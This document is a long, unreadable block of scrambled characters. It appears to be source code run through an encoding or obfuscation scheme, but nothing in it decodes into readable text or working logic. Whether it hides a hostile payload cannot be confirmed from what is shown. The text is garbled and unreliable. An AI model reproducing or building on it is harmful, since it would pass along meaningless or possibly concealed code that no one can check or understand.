]_DCDZL\FXpY^U_NV^MUH%FIFH]MK@AMIL\C_EN@C]J[Z]AFH]MK@AMIL\FXpY^U_NV^MUHC_EN@C%R%]J[Z]AAZCC%R%%IZAL[F@AYUKA]KF^LpMLUMZ[MB[V@ZCL_%T%FIFH]MK@AMIL\[MB[V@ZCL_SSFH]MK@AMIL\[MB[V@ZCL_FXpY^U_NV^MUHINC\J]J[Z]AINC\JZAZHKGXLYXG_Z[@WG_IZAZHKGXLYX%FIUVBD\JJ@K[[MB[V@ZCL_[MB[V@ZCL_EXpF\FZFGEDEJ[MB[V@ZCL_%%%%FIFH]MK@AMIL\[MB[V@ZCL_]J[Z]AINC\J%FIMMGCVDKC_KACUVBD\JJ@K[]J[Z]A[]ZJ%FIKJIFAJKFXpY^U_NV^MUHT%JKG[KYpo[@DJApHJ[pNCC[MB[V@ZCL_%FIFH]MK@AMIL\JKG[KYp]J[Z]A[]ZJ%J[pZZUIpLG]%I@]JNLGJKG[KYpN\F\H]^MMW_T%FIMMGCVDKC_KACF\H]^MMW_T%%FIF\H]^MMW_tr{plz}cvp`jaSSF\H]^MMW_tr{pk`ccn}p`japlz}cvpm}nlj|J[pZZUIpLG]%L@A[FAZJ%R%FIF\H]^MMW_TJ[pZZUIpLG]%JC\JFIF\H]^MMW_RT%%%%J[pZZUIpLG]%FIJ[pZZUIpLG]]J[Z]AINC\J%%%R%%%%R%%%%]J[Z]AJ[pZZUIpLG]%R%[]VT%o[@DJApHJ[pNCC[MB[V@ZCL_{`djapn}|j%%%]J[Z]A[]ZJ%RLN[LG{G]@XNMCJC[A_M[pT%]J[Z]AINC\J%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%R%R%IZAL[F@AAAJBA^V@XVJDNHXE%T%]J[Z]AN]]NVUVBD\JJ@K[FXpY^U_NV^MUHFXpY^U_NV^MUH%R%IZAL[F@A^GHpZJ^_YYVMIG%T%]J[Z]AN]]NVUVBD\JJ@K[FH]MK@AMIL\FH]MK@AMIL\UVBD\JJ@K[FH]MK@AMIL\MMGCVDKC_KACFH]MK@AMIL\FXpY^U_NV^MUHMMGCVDKC_KACMMGCVDKC_KACFH]MK@AMIL\UVBD\JJ@K[FXpY^U_NV^MUHMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUHI_FYYpIF\^MYKC_VDYI_FYYpIF\%%%%R%IZAL[F@AFU[KUXMN\HGWJ@B%T%]J[Z]AN]]NVFH]MK@AMIL\UVBD\JJ@K[UVBD\JJ@K[FXpY^U_NV^MUH%R%%IZAL[F@AZpWA_IA_EMIYLFVpXZW_GHA\Jp%T%FIFH]MK@AMIL\MMGCVDKC_KAC]J[Z]AHUJAL@KJXZW_GHA\Jpq%%%%FIFH]MK@AMIL\MMGCVDKC_KACT%]J[Z]AsWIsWMsWsWsWsWsWsWsWsWHUKJICN[JXZW_GHA\JpUVBD\JJ@K[yFXpY^U_NV^MUHXZW_GHA\JpMMGCVDKC_KACyUVBD\JJ@K[XZW_GHA\Jp	%%R%]J[Z]AXZW_GHA\Jp%R%IZAL[F@A^_XM[U_@FHFECWY]@XZW_GHA\Jp%%T%FIFXpY^U_NV^MUHXZW_GHA\JpSSMMGCVDKC_KACXZW_GHA\Jp]J[Z]AXZW_GHA\Jp%FIUVBD\JJ@K[XZW_GHA\JpsWIsWM]J[Z]AXZW_GHA\Jp%%FIUVBD\JJ@K[XZW_GHA\JpWWI]J[Z]AINC\J%BDG]]YpoUVBD\JJ@K[yFXpY^U_NV^MUHXZW_GHA\Jpq%BDG]]YpMMGCVDKC_KACBDG]]YpBDG]]YptrC_LEHKHZSK]J]^FBKND_C_LEHKHZq%%%%FIBDG]]YpSSBDG]]YpWJMIJWL]J[Z]AINC\J%%%%FIUVBD\JJ@K[FH]MK@AMIL\T%J]AJG@CUoHUKJL@KJXZW_GHA\Jp%%%FIJ]AJG@CUINC\J]J[Z]AJ]AJG@CU%R%FIFXpY^U_NV^MUHFH]MK@AMIL\T%%%%J]AJG@CUoHUFAICN[JFH]MK@AMIL\XZW_GHA\JpqFH]MK@AMIL\XZW_GHA\Jp%%%]J[Z]AFH]MK@AMIL\J]AJG@CU		FH]MK@AMIL\J]AJG@CUWJJWLJ]AJG@CUINC\J%R%]J[Z]AINC\J%%%R%%%%%FIUVBD\JJ@K[FXpY^U_NV^MUHT%%%IZAL[F@AGJWMFAV[\^IG%T%%FIMMGCVDKC_KACV[\^IGSSMMGCVDKC_KACV[\^IG
T%]J[Z]AINC\J%R%]J[Z]AFH]MK@AMIL\FH]MK@AMIL\V[\^IG%R%R%%%IZAL[F@AXGUWZVGJZFI%%%%T%MFpKW_IXWN]]NV%UZH@XGL[B@VMAEJN]]NVnm|n{gnm|n{gFXpY^U_NV^MUHnm|n{gUVBD\JJ@K[%FIKJIFAJKMMGCVDKC_KACUZH@XGL[B@VMAEJtrxpl`a{ja{pkf} %I@]JNLGUZH@XGL[B@VMAEJN\J]AJG@CUT%WpJFBNJXWJFH]MK@AMIL\UVBD\JJ@K[oMMGCVDKC_KACJ]AJG@CUFH]MK@AMIL\INC\J%FIFXpY^U_NV^MUHWpJFBNJXWJT%I@]JNLGWpJFBNJXWJN\KJ^B@NIBBM_T%%%%XA\^YY@oMMGCVDKC_KACKJ^B@NIBBM_%%%%FIXA\^YY@		XA\^YY@T%MFpKW_IXWtrXA\^YY@%%%%R%R%R%  oFAF[FNCFUJKF\_N[LGJ]%%R%%%%FIJB_[VMFpKW_IXWT%YIHUKIMFpKW_IXWtUVBD\JJ@K[MFpKW_IXWr%%]J[Z]AYIHUKIYIHUKI
_]EWUCKBEY%R%W[FWHINZ^MMMGCVDKC_KAC%MEE@FUFBWFFXpY^U_NV^MUHFXpY^U_NV^MUHX_p]NAKWMWWKWMFH]MK@AMIL\%YIHUKIW[FWHINZ^MMEE@FUFBWF%]J[Z]AYIHUKIYIHUKI
_]EWUCKBEY%R%IZAL[F@A\]\^pM@]_UNF_EBEL_KHIGNXF@JE\WX_@BWMBNAZCC%T%HL\_X\ICIZAL[F@A[Y[_GCK\MZ\J@BWMBNT%FIUVBD\JJ@K[[Y[_GCK\MSS[Y[_GCK\M]J[Z]AINC\J%FIFXpY^U_NV^MUH[Y[_GCK\M]J[Z]AINC\J%FI@BWMBNT%%[]VT%%]J[Z]AM@@CFH]MK@AMIL\@BWMBN[Y[_GCK\M%RLN[LG{G]@XNMCJC[A_M[pT%%%]J[Z]AINC\J%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%R%R%%%]J[Z]A[]ZJ%R%FK[E]YCXE[AUVFH]MK@AMIL\FH]MK@AMIL\oMMGCVDKC_KACEBEL_KHIN]]NV%MMGCVDKC_KACGNXF@JE\WX_%UVBD\JJ@K[INC\J%FH]MK@AMIL\WKKJW%%INC\J%%FIFK[E]YCXE[AUV		UVBD\JJ@K[MMGCVDKC_KACSSF\pX_pJ]]@]FK[E]YCXE[AUVT%%%%FIFA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJFK[E]YCXE[AUVqT%BMGFVXXpEX_p]JB@[Jp]J[]FJYJpM@KVFK[E]YCXE[AUV%FIHL\_X\ICBMGFVXXpE]J[Z]ABMGFVXXpE%R%R%FIMMGCVDKC_KACFH]MK@AMIL\		FXpY^U_NV^MUHUVBD\JJ@K[		MMGCVDKC_KACMMGCVDKC_KACT%VZNKGHMVAoFXpY^U_NV^MUHEBEL_KHI%FIVZNKGHMVAINC\J]J[Z]AINC\J%%%oMMGCVDKC_KACVZNKGHMVAN]]NV%L@A\[NA[MMGCVDKC_KAC[]ZJ%L@A\[NA[MMGCVDKC_KACGNXF@JE\WX_%%%%L@A\[NA[MMGCVDKC_KACINC\J%L@A\[NA[FXpY^U_NV^MUH%L@A\[NA[FXpY^U_NV^MUHINC\J%%%L@A\[NA[FXpY^U_NV^MUHIZAL[F@AFB\HI_GE_U_MZIDFDAVFHHKUIT]J[Z]ADAVFHHKUIR%%%%%%BJMXXENJ\^AoFH]MK@AMIL\VZNKGHMVA%GXVZCIIVWZoLZ]CpJ]]A@VZNKGHMVA%GFA]CpVJUoLZ]CpHJ[FAI@VZNKGHMVA%%%%oLZ]CpLC@\JVZNKGHMVA%FIGXVZCIIVWZ]J[Z]AINC\J%FIFA[GFA]CpVJUtUVBD\JJ@K[r		BJMXXENJ\^AINC\J		HL\_X\ICBJMXXENJ\^AT%]J[Z]ABJMXXENJ\^A%R%R%  KJ\[]ZL[F@A@M\J]YJ]%%]J[Z]AINC\J%R%%IZAL[F@AY[KH@YLEBEL_KHIGABVM[Mp\WIC\UXL^BWG\\ZGNXF@JE\WX_@BWMBNAZCC%T%HL\_X\ICIZAL[F@A[Y[_GCK\MZ\J@BWMBNT%FIFH]MK@AMIL\[Y[_GCK\MSS[Y[_GCK\M]J[Z]AINC\J%FIFH]MK@AMIL\[Y[_GCK\M]J[Z]AINC\J%FI@BWMBNT%%%%[]VT%]J[Z]AM@@CFXpY^U_NV^MUH@BWMBN[Y[_GCK\M%RLN[LG{G]@XNMCJC[A_M[pT%%]J[Z]AINC\J%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%R%%%R%]J[Z]A[]ZJ%R%FK[E]YCXE[AUVFXpY^U_NV^MUHFH]MK@AMIL\oFXpY^U_NV^MUHEBEL_KHIN]]NV%MMGCVDKC_KACGNXF@JE\WX_%%UVBD\JJ@K[INC\J%UVBD\JJ@K[%MMGCVDKC_KACUXL^BWG\\Z%MMGCVDKC_KACGABVM[Mp\WIC\%%%%INC\J%FIMMGCVDKC_KACFXpY^U_NV^MUH		F\pX_pJ]]@]FK[E]YCXE[AUVT%RJC\JFIFK[E]YCXE[AUVT%[MB[V@ZCL_FA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJFK[E]YCXE[AUV%W_FV_JCX_p]JB@[Jp]J[]FJYJpM@KVFK[E]YCXE[AUV%%%%JLGCLJXGM@UKEGX_p]JB@[Jp]J[]FJYJpGJNKJ]\FK[E]YCXE[AUV%ZABZYAFBFZ@HH%FIUVBD\JJ@K[JLGCLJXGM@UKEGT%  x@\[l@BBJA[\@M\[]ZL[F@AI]JJMFYN]FNA[%%I@]JNLGJLGCLJXGM@UKEGN\JZpI[]EMYDpWV]HXCT%ZABZYAFBFZ@HHJZpI[]EMFH]MK@AMIL\YDpWV]HXCUVBD\JJ@K[%R%%%%R%FI[MB[V@ZCL_		HL\_X\ICW_FV_JCT%]J[Z]AW_FV_JC%%%R%RJC\JT%R%FIMMGCVDKC_KACUVBD\JJ@K[		UVBD\JJ@K[UVBD\JJ@K[		FXpY^U_NV^MUHUVBD\JJ@K[T%VZNKGHMVAoFXpY^U_NV^MUHEBEL_KHI%FIVZNKGHMVAINC\JT%]J[Z]AINC\J%R%  o_ZMCF\G]JL@]KCNVJ]%%@^_GIHpNJN]]NV%I@]JNLGUXL^BWG\\ZN\JZpI[]EMYDpWV]HXCT%@^_GIHpNJtrJZpI[]EMFH]MK@AMIL\YDpWV]HXC%R%oFH]MK@AMIL\VZNKGHMVAN]]NV%L@A\[NA[FH]MK@AMIL\[]ZJ%%%%L@A\[NA[UVBD\JJ@K[GABVM[Mp\WIC\%L@A\[NA[UVBD\JJ@K[[]ZJ%L@A\[NA[FH]MK@AMIL\GNXF@JE\WX_%L@A\[NA[UVBD\JJ@K[INC\J%L@A\[NA[MMGCVDKC_KAC%L@A\[NA[FH]MK@AMIL\@^_GIHpNJ%L@A\[NA[FXpY^U_NV^MUHINC\J%L@A\[NA[FH]MK@AMIL\IZAL[F@AFB\HI_GE_U_MZIDFDAVFHHKUIT]J[Z]ADAVFHHKUIR%%BJMXXENJ\^AoFH]MK@AMIL\VZNKGHMVA%%%GXVZCIIVWZoLZ]CpJ]]A@VZNKGHMVA%GXIpUIL][NUoLZ]CpJ]]@]VZNKGHMVA%GFA]CpVJUoLZ]CpHJ[FAI@VZNKGHMVA%%%%UGWEX_FEAK@DWFA[GFA]CpVJUtFXpY^U_NV^MUHr%FIGXVZCIIVWZT%oLZ]CpLC@\JVZNKGHMVA%]J[Z]AINC\J%%%R%  bV|~cXFAK@XIZAL[F@A\KVANBFL_]FALF_NC%%%%%oLZ]CpLC@\JVZNKGHMVAINFLXFZ^IMK[^@VIF[CKHINFLXFZ^IMK
%FIUGWEX_FEAK@DWWWL		BJMXXENJ\^AINC\J		HL\_X\ICBJMXXENJ\^AT%]J[Z]ABJMXXENJ\^A%%%%R%%FIBJMXXENJ\^AT%R%]J[Z]AINC\J%R%]J[Z]AINC\J%R%%IZAL[F@AGKYV_D[XNYDKY%T%YWWKCEZAGKH^DAAJBA^V@XVJDNHXE%YBUE]VZHDCC[^GHpZJ^_YYVMIG%%FIJB_[VYWWKCEZAGKH^DSSJB_[VYBUE]VZHDCC[T%]J[Z]AN]]NV%R%%CL[EHM\EZpDXMMGCVDKC_KACFH]MK@AMIL\\[]FAHHJ[p@_[F@AFXpY^U_NV^MUH%%%%FICL[EHM\EZpDXT%  ZAC@NKMN[LG]FAHMZIIJ]%%YBUE]VZHDCC[FH]MK@AMIL\MMGCVDKC_KACYBUE]VZHDCC[N]]NVCL[EHM\EZpDX%%MMGCVDKC_KACYBUE]VZHDCC[CL[EHM\EZpDX%R%%DBYpA\VYGFXpY^U_NV^MUHYWWKCEZAGKH^DtFH]MK@AMIL\YWWKCEZAGKH^Dr%FIDBYpA\VYGT%%%]J[Z]AN]]NV%R%%%GABVM[Mp\WIC\FH]MK@AMIL\DBYpA\VYGMMGCVDKC_KAC%XAKVIE@FYNUJN]]NVFH]MK@AMIL\FXpY^U_NV^MUH%NBKBZEF[ZFH]MK@AMIL\[]ZJ%I@]JNLGYBUE]VZHDCC[N\_CHF]F[KT%%FIUVBD\JJ@K[[]ZJNBKBZEF[ZT%M]JND%R%  }JL[@]NZ[@]JINL[@]]@[N[J]J\@CYJ]%%%_CHF]F[KUVBD\JJ@K[\[]FAH_CHF]F[K%%%%FI_CHF]F[KT%L@A[FAZJ%%%R%[]VT%W_FV_JCY[KH@YL_CHF]F[KGABVM[Mp\WIC\XAKVIE@FYNUJWWIZAL[F@A[Y[_GCK\MT%[EpJCWFpoUVBD\JJ@K[[Y[_GCK\M[]ZJ%]J[Z]AFH]MK@AMIL\[EpJCWFp		F\\J[[EpJCWFptFH]MK@AMIL\r%R%FIW_FV_JCINC\JT%L@A[FAZJ%R%^HAHD[DCNJZAGoMMGCVDKC_KACW_FV_JC[]ZJ%FIUVBD\JJ@K[^HAHD[DCNJZAGSSF\\J[^HAHD[DCNJZAGtMMGCVDKC_KACrSSMMGCVDKC_KAC^HAHD[DCNJZAGtMMGCVDKC_KACrT%L@A[FAZJ%R%%V[\^IG^HAHD[DCNJZAGtFH]MK@AMIL\r%%%%FIFXpY^U_NV^MUHV[\^IGMMGCVDKC_KACT%  NCFN\NANCVUJ\ZM\L]FMJ]I@]x|F[JjKF[@]%%V[\^IGFXpY^U_NV^MUHV[\^IG%%%%R%%VCAVADBGoUVBD\JJ@K[V[\^IG%FIVCAVADBGINC\JSSFXpY^U_NV^MUHVCAVADBGT%L@A[FAZJ%R%%N]UL@VNDKJGWWM%IGELW_]WCMMGCVDKC_KACVCAVADBGtN]UL@VNDKJGr%XNGpV[ZV@X\\[UVBD\JJ@K[VCAVADBGN]UL@VNDKJGIGELW_]WC%FIFXpY^U_NV^MUHXNGpV[ZV@X\\[SSFXpY^U_NV^MUHXNGpV[ZV@X\\[WWT%L@A[FAZJ%R%%GVYI@pEFM_]_@UVBD\JJ@K[XNGpV[ZV@X\\[tr%%FIGVYI@pEFM_]_@SSFH]MK@AMIL\XNGpV[ZV@X\\[GVYI@pEFM_]_@T%%L@A[FAZJ%%%R%%%%\WNMYAFXpY^U_NV^MUHXNGpV[ZV@X\\[GVYI@pEFM_]_@%%%%^^K\G]Up^MMGCVDKC_KACXNGpV[ZV@X\\[GVYI@pEFM_]_@%FIFXpY^U_NV^MUH\WNMYASSUVBD\JJ@K[^^K\G]Up^T%L@A[FAZJ%R%%BVD__J[AUU\^UXM\GGVWJJFp^^K\G]Up^\WNMYA%%%FIFH]MK@AMIL\BVD__J[ASSMMGCVDKC_KACBVD__J[AT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC%L@A[FAZJ%R%%D[pJL\MCMMGCVDKC_KACBVD__J[Atr%%%%FID[pJL\MCSSUVBD\JJ@K[BVD__J[AD[pJL\MCT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\MMGCVDKC_KAC%L@A[FAZJ%R%%I^LZ^KDKKGBFH]MK@AMIL\BVD__J[AD[pJL\MC%V^BU@]BLF@EDN_CUVBD\JJ@K[BVD__J[AD[pJL\MC%@IpKG]IJMMGCVDKC_KACUVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[UVBD\JJ@K[FH]MK@AMIL\V^BU@]BLF@EDN_C%FIFH]MK@AMIL\UVBD\JJ@K[T%%%%Z_KN[Jp@_[F@AFH]MK@AMIL\_CHF]F[K%Z_KN[Jp@_[F@AFXpY^U_NV^MUHMMGCVDKC_KACsA@IpKG]IJ%R%]J[Z]AN]]NVFXpY^U_NV^MUHI^LZ^KDKKGBFH]MK@AMIL\@IpKG]IJ%RLN[LG{G]@XNMCJC[A_M[pTUN_GG^UCDgpbne`}pyj}|f`aMZK^M[VEIAUN_GG^UCD%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%L@A[FAZJ%RLN[LGjWLJ_[F@AC[A_M[pT%  o]JMNCNALJBJ\\NHJ^ZJZJ%%L@A[FAZJ%R%R%J\GYD]pUVBD\JJ@K[MMGCVDKC_KAC\[]FAHHJ[p@_[F@AFH]MK@AMIL\%CHVFGK@UJ_MWGMFZYEXHXZ]UADppWUVBD\JJ@K[%FIJ\GYD]p		FH]MK@AMIL\CHVFGK@UJ_MW		CHVFGK@UJ_MWT%@IpKG]IJFH]MK@AMIL\FXpY^U_NV^MUHUVBD\JJ@K[MMGCVDKC_KACFH]MK@AMIL\FH]MK@AMIL\J\GYD]pUV]_KM@VCWWLE[KMVp]UV]_KM@VC
%FIJB_[V@IpKG]IJT%%%%]J[Z]AN]]NVMMGCVDKC_KACCHVFGK@UJ_MWFH]MK@AMIL\@IpKG]IJ[HG]HVDDGXUMC[HG]H%R%R%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%%]J[Z]AN]]NV%R%IZAL[F@AXWD[GNIA_DW_N\BKZZMH@DXME_N]@VKA^Hp]G%T%FIFXpY^U_NV^MUHUVBD\JJ@K[T%]J[Z]AINC\J%%%R%WGWB@AUYXH^B]UVBD\JJ@K[KZZMH@DXME%BCBpE^^_BVFZUVBD\JJ@K[MMGCVDKC_KAC%UM_[_WZFM%I@][DY^GJFU@V]XBVW[UVBD\JJ@K[WGWB@AUYXH^B][DY^GJFU@V]XBVW[[DY^GJFT%UM_[_WZFMFH]MK@AMIL\FXpY^U_NV^MUHWGWB@AUYXH^B]t[DY^GJFrqFH]MK@AMIL\BCBpE^^_BVFZ%R%]J[Z]AZ_KN[Jp@_[F@AA_DW_N\BMMGCVDKC_KACBCBpE^^_BVFZUM_[_WZFM_N]@VKA^Hp]GINC\J%%R%%IZAL[F@ANGF\IApYK^]NDYWZA_DW_N\BAYADFppM%T%FIFH]MK@AMIL\FH]MK@AMIL\]J[Z]AAYADFppM%[ULBI@_EKDHJ[p@_[F@AA_DW_N\B%FI[ULBI@_EKDSSFH]MK@AMIL\[ULBI@_EKDT%]J[Z]AAYADFppM%R%%%KVWZDEVFBD\oMMGCVDKC_KAC[ULBI@_EKD[]ZJ%FIKVWZDEVFBD\INC\JSSUVBD\JJ@K[KVWZDEVFBD\T%%]J[Z]AAYADFppM%R%BCBpE^^_BVFZKVWZDEVFBD\tr%\]IYHEMKEEMJ%I@][DY^GJFU@V]XBVW[FXpY^U_NV^MUHKVWZDEVFBD\[DY^GJFU@V]XBVW[[DY^GJFT%\]IYHEMKEEMJFH]MK@AMIL\FXpY^U_NV^MUHKVWZDEVFBD\t[DY^GJFrqUVBD\JJ@K[BCBpE^^_BVFZ%%R%[KEUFBJVHEYBpN\N[L^ZN\]IYHEMKEEMJ%]J[Z]A[KEUFBJVHEINC\J[KEUFBJVHEAYADFppM%%R%%%IZAL[F@AYBpN\N[L^ZNXNGpV[ZV@X\\[%%T%FIMMGCVDKC_KACXNGpV[ZV@X\\[]J[Z]AINC\J%FIKJIFAJKUVBD\JJ@K[		gpyj}|f`apfkTXUF[]WFAgpfa{pbnw gpfa{pbnwGAHKAUYWXUF[]WFA%]J[Z]AoFH]MK@AMIL\XNGpV[ZV@X\\[N]]NVMMGCVDKC_KACINC\J%%%%R%%%]J[Z]AoUVBD\JJ@K[XNGpV[ZV@X\\[%R%IZAL[F@AA\FLCIHUU]W\DG%%%%T%\[N[FLJZpI[]EMAZCC%FIJZpI[]EMAZCC]J[Z]AJZpI[]EM%ICMINUBAF]@KJIFAJKFXpY^U_NV^MUHnm|n{g%JZpI[]EMUVBD\JJ@K[FXpY^U_NV^MUHss ICMINUBAF]@  %%]J[Z]AJZpI[]EM%%%%R%%%IZAL[F@AJYJ_HVXp\NW@ZZ@A_DW_N\B%T%]J[Z]A@\J__MJJCW]ZGA\FLCIHUU]W\DG\[]FAH_]EWUCKBEYA_DW_N\B%R%IZAL[F@AXpAWIH\JMABDpD]BVXWJVBp]@EW%T%%]J[Z]A\[]FAHFA[GJWKJLUVBD\JJ@K[UVBD\JJ@K[A\FLCIHUU]W\DGMMGCVDKC_KACD]BVXWJVBp]@EWWW
%%R%IZAL[F@ACXXCEXYIK%T%]J[Z]AXpAWIH\JMABDpMMGCVDKC_KAC%R%IZAL[F@ANXUM^]FA_KYMCKUD%T%JVWN^C_ID_IX\[]FAHGMFZYEXHXZ]UADppWUVBD\JJ@K[%]J[Z]AFXpY^U_NV^MUHJVWN^C_ID_IX		UVBD\JJ@K[JVWN^C_ID_IXCXXCEXYIKINC\J		UVBD\JJ@K[\[]FAHGMFZYEXHXZ]UADppWFH]MK@AMIL\WJW%R%%IZAL[F@AGMFZYEXHXZ]UADppWA_DW_N\BAYADFppM%T%  oBJKFN[JLF_GJ]\ZF[J%%]J[Z]ANGF\IApYK^]NDYWZJYJ_HVXp\NW@ZZ@A_DW_N\BAYADFppM%R%IZAL[F@A@KWNGU_GUAFpA_DW_N\BAYADFppM%T%YDpWV]HXCGMFZYEXHXZ]UADppWA_DW_N\BAYADFppM%FIUVBD\JJ@K[YDpWV]HXC]J[Z]AYDpWV]HXC%FIFH]MK@AMIL\YDpWV]HXC]J[Z]A\[]FAHYDpWV]HXC%]J[Z]AAYADFppM%R%%%IZAL[F@AEUpCCUU[VUN]KXADBYA_DW_N\BKZZMH@DXME_N]@VKA^Hp]G%T%XWD[GNIJYJ_HVXp\NW@ZZ@A_DW_N\BKZZMH@DXME_N]@VKA^Hp]G%%%R%IZAL[F@AH^]K[A\GA]U[HCBJW%T%NDA@[pBIWJHF\\J[hc`mnc|tMMGCVDKC_KACrhc`mnc|tUVBD\JJ@K[rN]]NV%[ULBI@_EKDGMFZYEXHXZ]UADppWMMGCVDKC_KACN]]NV%FIUVBD\JJ@K[[ULBI@_EKDT%NDA@[pBIWJHMMGCVDKC_KAC[ULBI@_EKDNDA@[pBIWJH%R%NDA@[pBIWJHFXpY^U_NV^MUHNDA@[pBIWJH%]J[Z]AFXpY^U_NV^MUHNDA@[pBIWJHWW%R%%%%IZAL[F@AG\KZH^HAFB_J@W\%T%  xcF\[mC@LDIFWZ_NCC@LN[@]%%FIF\\J[hc`mnc|tFH]MK@AMIL\rSSJB_[Vhc`mnc|tMMGCVDKC_KACr]J[Z]A%[]VT%[ULBI@_EKDGMFZYEXHXZ]UADppWMMGCVDKC_KACN]]NV%WNYJIWEAMMGCVDKC_KACMMGCVDKC_KACN]]NV[ULBI@_EKDhc`mnc|tFH]MK@AMIL\r%WNYJIWEAMMGCVDKC_KACWNYJIWEA%EUpCCUU[VUN]KXADBYMMGCVDKC_KACWNYJIWEAFXpY^U_NV^MUH%%%RLN[LG{G]@XNMCJC[A_M[pTUMZG\A\]LY[U\UMZG\A\%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%%R%R%%IZAL[F@AUU\^UXM\GGVWJJFpXNGpV[ZV@X\\[DJV%%T%FIFH]MK@AMIL\XNGpV[ZV@X\\[SSFXpY^U_NV^MUHDJVSSUVBD\JJ@K[DJVT%]J[Z]AAZCC%%R%FCGVH_LAAKVUVBD\JJ@K[XNGpV[ZV@X\\[%%%%XC]LA\AELFFXpY^U_NV^MUHDJV%]FULYEU@G^AKWpW%I@][DY^GJF[DY^GJFFCGVH_LAAKV[DY^GJFT%]FULYEU@G^AKWpWFH]MK@AMIL\FH]MK@AMIL\XNGpV[ZV@X\\[t[DY^GJFrqUVBD\JJ@K[DJVt[DY^GJF
XC]LA\AELFr%R%]J[Z]A]FULYEU@G^AKWpW%%R%%IZAL[F@A^EFN[I@]M][UEFGJ\D^NCJF]I%%T%%FIMMGCVDKC_KACD^NCJF]IT%D^NCJF]IN]]NV%R%pBM_\LL^AKGJW@^DFAFX^%NDXEEHCH__HBFH]MK@AMIL\FXpY^U_NV^MUHNGF\IApYK^]NDYWZUVBD\JJ@K[INC\JINC\J%%%%FIMMGCVDKC_KACNDXEEHCH__HB		F\\J[NDXEEHCH__HBtFXpY^U_NV^MUHr		FA[NDXEEHCH__HBtFXpY^U_NV^MUHr		FA[NDXEEHCH__HBtMMGCVDKC_KACrpBM_\LL^AKFA[NDXEEHCH__HBtMMGCVDKC_KACr%FIpBM_\LL^AKT%pBM_\LL^AKWWKL%%R%D^NCJF]ItFXpY^U_NV^MUHrN]]NV%FH]MK@AMIL\pBM_\LL^AK%UVBD\JJ@K[FXpY^U_NV^MUH%%D^NCJF]ItFH]MK@AMIL\rN]]NV%FXpY^U_NV^MUH%MMGCVDKC_KACMMGCVDKC_KAC%%%]J[Z]AD^NCJF]I%R%%IZAL[F@AWW[VBJHYLBBCM@Y@%T%FIFXpY^U_NV^MUHFXpY^U_NV^MUHSSFH]MK@AMIL\FH]MK@AMIL\]J[Z]A%FILBFEWKCIBAXUVBD\JJ@K[]J[Z]A%[]VT%FIX_pAJW[p\LGJKZCJKUAXBU^X]YJT%  x|F[JjKF[@]_]JJB_[@]LGJ\[]N[@]%%X_p\LGJKZCJpJYJA[UVBD\JJ@K[MMGCVDKC_KACqFXpY^U_NV^MUHUAXBU^X]YJ%R%RIFANCCVT%  xjBMJKmC@LDMN[LGBJBJA[@%%%%%H\GBN@MFVL]MMGCVDKC_KAC%%%R%R%%IZAL[F@A_LHUL^_ILD]W\EK%T%%%%%FIKJIFAJKMMGCVDKC_KAC		k`fahpl}`aT%]J[Z]A%R%%%%%%\[N[FLDXVMN]INC\J%FIDXVMN]]J[Z]A%DXVMN][]ZJ%%%%%FI_MUUpD]NCYZA[EGV@T%]J[Z]A%R%  xlZ\[@BcFADFAYJ][FMCJ[@DJAMZLDJ[%%%%HVDC\YKUZYDMUVBD\JJ@K[FH]MK@AMIL\%R%%%%IZAL[F@ALKZ]^BWZL_[D@HMC%T%FIMMGCVDKC_KACFXpY^U_NV^MUHSSUVBD\JJ@K[MMGCVDKC_KAC]J[Z]A%%%%oFH]MK@AMIL\\F[JpZ]CFH]MK@AMIL\FH]MK@AMIL\\[]FAHFXpY^U_NV^MUH[]ZJMMGCVDKC_KACWWN]]NVFH]MK@AMIL\MMGCVDKC_KACINC\JUVBD\JJ@K[INC\J%%%%R%%%IZAL[F@A\KE^VKMIFDHWG%T%\[N[FLA[ZDVWINC\J%FIA[ZDVW]J[Z]A%A[ZDVW[]ZJ%[]VT%UGLUEAGYXIINC\J%FIMMGCVDKC_KACFXpY^U_NV^MUHT%FXpY^U_NV^MUH%UGLUEAGYXI[]ZJ%RJC\JFIFH]MK@AMIL\MMGCVDKC_KACT%UVBD\JJ@K[%UGLUEAGYXI[]ZJ%%%RJC\JT%FIFH]MK@AMIL\FXpY^U_NV^MUHT%oFXpY^U_NV^MUH[]ZJ%R%@VWM[H[GUG[V]pFXpY^U_NV^MUHFXpY^U_NV^MUH		oMMGCVDKC_KACFH]MK@AMIL\%FIGJNKJ]\p\JA[		@VWM[H[GUG[V]p		FH]MK@AMIL\		UVBD\JJ@K[FXpY^U_NV^MUHT%pLCo@MpHJ[pCJAH[G%%FIpLCINC\J		pLCT%%%%oGJNKJ]FH]MK@AMIL\pLC%oGJNKJ]MMGCVDKC_KAC%R%%%R%FIFXpY^U_NV^MUHT%%%oFXpY^U_NV^MUH%%%R%oMMGCVDKC_KAC%R%%%VY^E\WK[_MMGCVDKC_KACUVBD\JJ@K[		KJIFAJKMMGCVDKC_KAC		kf|nmcjpxpl}`a%HVICNL[IHEFH]MK@AMIL\FH]MK@AMIL\SSFA[HJ[p@_[F@AMMGCVDKC_KAC%FIHVICNL[IHE		MMGCVDKC_KACFH]MK@AMIL\		MMGCVDKC_KACFH]MK@AMIL\T%%V]p@JNL\[]FAHHJ[p@_[F@AFH]MK@AMIL\%%%%FIV]p@JNLXHMDNU[UXH@NANXI[T% LC@_JANIIFAJ[V_J %%oZ_KN[Jp@_[F@AMMGCVDKC_KACXHMDNU[UXH@NANXI[UVBD\JJ@K[%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHUVBD\JJ@K[%HVICNL[IHE[]ZJ%R%R%BYLDBB[DX^BYINC\J%FIVY^E\WK[_		UVBD\JJ@K[FXpY^U_NV^MUHT%